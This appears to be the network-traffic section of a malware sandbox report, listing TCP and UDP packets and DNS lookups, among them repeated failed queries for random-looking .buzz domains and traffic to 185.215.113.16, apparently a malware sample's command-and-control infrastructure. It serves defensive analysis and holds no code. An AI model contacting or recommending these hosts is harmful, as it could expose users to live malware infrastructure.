Dec 28, 2024 09:57:01.153809071 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.154807091 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.154932976 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.154995918 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.155968904 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.156090021 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.156145096 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.157114029 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.157226086 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.157291889 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.158245087 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.158298969 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.158351898 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.159435034 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.159576893 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.159640074 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.160561085 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.160635948 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.160645962 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.162008047 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.162045956 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.162273884 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.162833929 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.162906885 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.162949085 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.163999081 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.164052010 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.164099932 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.165186882 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.165232897 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.165621042 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.166307926 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.166385889 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.166513920 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.167473078 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.167557001 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.167820930 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.168606043 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.168684959 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.168699026 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.169730902 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.169806957 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.169825077 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.170880079 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.170942068 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.170989990 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.172048092 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.172113895 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.172123909 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.173166990 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.173269987 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.173280954 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.174341917 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.174441099 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.174453020 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.175694942 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.175699949 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.175767899 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.176600933 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.176708937 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.176740885 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.177772045 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.177921057 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.178015947 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.178914070 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.179044962 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.179104090 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.180056095 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.180105925 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.180150986 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.181232929 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.181308031 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.181324005 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.182341099 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.182401896 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.182481050 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.183497906 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.183557034 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.183573008 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.184638977 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.184701920 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.184721947 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.185806036 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.185893059 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.185920000 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.186911106 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.187015057 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.187232971 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.188067913 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.188220024 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.188278913 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.189243078 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.189328909 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.189351082 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.190361977 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.190459013 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.190520048 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.191539049 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.191601038 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.191620111 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.192643881 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.192708015 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.192722082 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.193816900 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.193864107 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.193901062 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.194922924 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.195043087 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.195043087 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.196099043 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.196166992 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.196255922 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.197221041 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.197315931 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.197351933 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.198385954 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.198447943 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.198498964 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.199577093 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.199621916 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.199781895 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.200750113 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.200815916 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.200824022 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.201853037 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.201904058 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.201956987 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.202961922 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.203022003 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.203073978 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.204562902 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.204572916 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.204734087 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.205249071 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.205362082 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.205425978 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.206700087 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.206768990 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.206830025 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.207564116 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.207662106 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.207679987 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.208723068 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.208775043 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.208811045 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.209867954 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.209916115 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.209938049 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.211103916 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.211128950 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.211174011 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.212146044 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.212236881 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.212249041 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.213300943 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.213407993 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.213437080 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.214190960 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.214268923 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.214319944 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.215133905 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.215168953 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.215207100 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.216034889 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.216087103 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.216090918 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.216964960 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.217075109 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.217078924 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.217896938 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.217947006 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.218014956 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.218795061 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.218847990 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.218889952 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.219729900 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.219793081 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.219803095 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.220601082 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.220664978 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.220704079 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.221580982 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.221653938 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.221668959 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.222549915 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.222604990 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.222704887 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.223367929 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.223453999 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.223484993 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.224296093 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.224335909 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.224394083 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.225229979 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.225296021 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.225430965 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.226119995 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.226159096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.226164103 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.227036953 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.227092981 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.227128029 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.227967978 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.228046894 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.228096008 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.228899002 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.228914976 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.228954077 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:09.283360004 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:11.811290979 CET	49822	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:57:11.811320066 CET	443	49822	142.250.181.68	192.168.2.11
Dec 28, 2024 09:57:11.811428070 CET	49822	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:57:11.811671019 CET	49822	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:57:11.811682940 CET	443	49822	142.250.181.68	192.168.2.11
Dec 28, 2024 09:57:13.550287008 CET	443	49822	142.250.181.68	192.168.2.11
Dec 28, 2024 09:57:13.550865889 CET	49822	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:57:13.550884962 CET	443	49822	142.250.181.68	192.168.2.11
Dec 28, 2024 09:57:13.552256107 CET	443	49822	142.250.181.68	192.168.2.11
Dec 28, 2024 09:57:13.552417994 CET	49822	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:57:13.553471088 CET	49822	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:57:13.553617001 CET	443	49822	142.250.181.68	192.168.2.11
Dec 28, 2024 09:57:13.609601974 CET	49822	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:57:13.609611988 CET	443	49822	142.250.181.68	192.168.2.11
Dec 28, 2024 09:57:13.657371998 CET	49822	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:57:23.236347914 CET	443	49822	142.250.181.68	192.168.2.11
Dec 28, 2024 09:57:23.236424923 CET	443	49822	142.250.181.68	192.168.2.11
Dec 28, 2024 09:57:23.236500025 CET	49822	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:57:23.568516016 CET	49822	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:57:23.568542957 CET	443	49822	142.250.181.68	192.168.2.11
Dec 28, 2024 09:57:44.096693993 CET	49706	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:57:44.096757889 CET	443	49706	173.222.162.42	192.168.2.11
Dec 28, 2024 09:57:44.096771002 CET	49706	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:57:44.097079039 CET	49948	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:57:44.097137928 CET	443	49948	173.222.162.42	192.168.2.11
Dec 28, 2024 09:57:44.097718954 CET	49948	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:57:44.108088017 CET	49948	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:57:44.108122110 CET	443	49948	173.222.162.42	192.168.2.11
Dec 28, 2024 09:57:45.538909912 CET	443	49948	173.222.162.42	192.168.2.11
Dec 28, 2024 09:57:45.539016962 CET	49948	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:58:05.013360023 CET	443	49948	173.222.162.42	192.168.2.11
Dec 28, 2024 09:58:05.013416052 CET	49948	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:58:11.721163034 CET	50008	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:58:11.721215010 CET	443	50008	142.250.181.68	192.168.2.11
Dec 28, 2024 09:58:11.721298933 CET	50008	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:58:11.721551895 CET	50008	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:58:11.721565008 CET	443	50008	142.250.181.68	192.168.2.11
Dec 28, 2024 09:58:13.512784004 CET	443	50008	142.250.181.68	192.168.2.11
Dec 28, 2024 09:58:13.515832901 CET	50008	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:58:13.515856028 CET	443	50008	142.250.181.68	192.168.2.11
Dec 28, 2024 09:58:13.516242981 CET	443	50008	142.250.181.68	192.168.2.11
Dec 28, 2024 09:58:13.519783020 CET	50008	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:58:13.519864082 CET	443	50008	142.250.181.68	192.168.2.11
Dec 28, 2024 09:58:13.560121059 CET	50008	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:58:23.217686892 CET	443	50008	142.250.181.68	192.168.2.11
Dec 28, 2024 09:58:23.217766047 CET	443	50008	142.250.181.68	192.168.2.11
Dec 28, 2024 09:58:23.217823029 CET	50008	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:58:24.375581980 CET	50008	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:58:24.375616074 CET	443	50008	142.250.181.68	192.168.2.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 09:56:27.511070967 CET	61183	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:56:27.652602911 CET	53	61183	1.1.1.1	192.168.2.11
Dec 28, 2024 09:56:27.659044981 CET	61407	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:56:27.798995018 CET	53	61407	1.1.1.1	192.168.2.11
Dec 28, 2024 09:56:27.802249908 CET	54673	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:56:27.942100048 CET	53	54673	1.1.1.1	192.168.2.11
Dec 28, 2024 09:56:27.944060087 CET	65249	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:56:28.083811045 CET	53	65249	1.1.1.1	192.168.2.11
Dec 28, 2024 09:56:28.086838007 CET	49625	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:56:28.225950003 CET	53	49625	1.1.1.1	192.168.2.11
Dec 28, 2024 09:56:28.260637045 CET	55666	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:56:28.400696039 CET	53	55666	1.1.1.1	192.168.2.11
Dec 28, 2024 09:56:28.444294930 CET	56305	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:56:28.585860968 CET	53	56305	1.1.1.1	192.168.2.11
Dec 28, 2024 09:56:28.607484102 CET	62938	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:56:28.747118950 CET	53	62938	1.1.1.1	192.168.2.11
Dec 28, 2024 09:56:28.749428988 CET	59523	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:56:28.889350891 CET	53	59523	1.1.1.1	192.168.2.11
Dec 28, 2024 09:56:28.892196894 CET	56510	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:56:29.032418966 CET	53	56510	1.1.1.1	192.168.2.11
Dec 28, 2024 09:56:31.592084885 CET	49916	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:56:31.880760908 CET	53	49916	1.1.1.1	192.168.2.11
Dec 28, 2024 09:57:07.730480909 CET	53	62940	1.1.1.1	192.168.2.11
Dec 28, 2024 09:57:08.071768999 CET	53	53991	1.1.1.1	192.168.2.11
Dec 28, 2024 09:57:10.865946054 CET	53	64158	1.1.1.1	192.168.2.11
Dec 28, 2024 09:57:11.670876980 CET	61149	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:57:11.671176910 CET	54144	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:57:11.809930086 CET	53	61149	1.1.1.1	192.168.2.11
Dec 28, 2024 09:57:11.809937000 CET	53	54144	1.1.1.1	192.168.2.11
Dec 28, 2024 09:57:15.458172083 CET	49545	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:57:15.458475113 CET	61821	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:57:21.969151974 CET	138	138	192.168.2.11	192.168.2.255
Dec 28, 2024 09:57:23.710719109 CET	53	56511	1.1.1.1	192.168.2.11
Dec 28, 2024 09:57:26.277879953 CET	53877	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:57:26.278548002 CET	52715	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:57:27.987895966 CET	53	56035	1.1.1.1	192.168.2.11
Dec 28, 2024 09:57:46.876324892 CET	53	51339	1.1.1.1	192.168.2.11
Dec 28, 2024 09:58:07.125555038 CET	53	59765	1.1.1.1	192.168.2.11
Dec 28, 2024 09:58:09.342678070 CET	53	64935	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 28, 2024 09:56:27.511070967 CET	192.168.2.11	1.1.1.1	0x382c	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:27.659044981 CET	192.168.2.11	1.1.1.1	0xdf7	Standard query (0)	prisonyfork.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:27.802249908 CET	192.168.2.11	1.1.1.1	0x8bdb	Standard query (0)	rebuildeso.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:27.944060087 CET	192.168.2.11	1.1.1.1	0x138c	Standard query (0)	scentniej.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:28.086838007 CET	192.168.2.11	1.1.1.1	0xeeee	Standard query (0)	inherineau.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:28.260637045 CET	192.168.2.11	1.1.1.1	0x35da	Standard query (0)	screwamusresz.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:28.444294930 CET	192.168.2.11	1.1.1.1	0xe9df	Standard query (0)	appliacnesot.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:28.607484102 CET	192.168.2.11	1.1.1.1	0xc22f	Standard query (0)	cashfuzysao.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:28.749428988 CET	192.168.2.11	1.1.1.1	0xf219	Standard query (0)	hummskitnj.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:28.892196894 CET	192.168.2.11	1.1.1.1	0x64fc	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:31.592084885 CET	192.168.2.11	1.1.1.1	0xeef2	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:57:11.670876980 CET	192.168.2.11	1.1.1.1	0xb0ef	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:57:11.671176910 CET	192.168.2.11	1.1.1.1	0x12d3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 28, 2024 09:57:15.458172083 CET	192.168.2.11	1.1.1.1	0x2ac1	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:57:15.458475113 CET	192.168.2.11	1.1.1.1	0x3257	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 28, 2024 09:57:26.277879953 CET	192.168.2.11	1.1.1.1	0xfed5	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:57:26.278548002 CET	192.168.2.11	1.1.1.1	0x32e0	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 28, 2024 09:56:27.652602911 CET	1.1.1.1	192.168.2.11	0x382c	Name error (3)	mindhandru.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:27.798995018 CET	1.1.1.1	192.168.2.11	0xdf7	Name error (3)	prisonyfork.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:27.942100048 CET	1.1.1.1	192.168.2.11	0x8bdb	Name error (3)	rebuildeso.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:28.083811045 CET	1.1.1.1	192.168.2.11	0x138c	Name error (3)	scentniej.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:28.225950003 CET	1.1.1.1	192.168.2.11	0xeeee	Name error (3)	inherineau.buzz	none	none	A (IP address)	IN (0x0001)	false
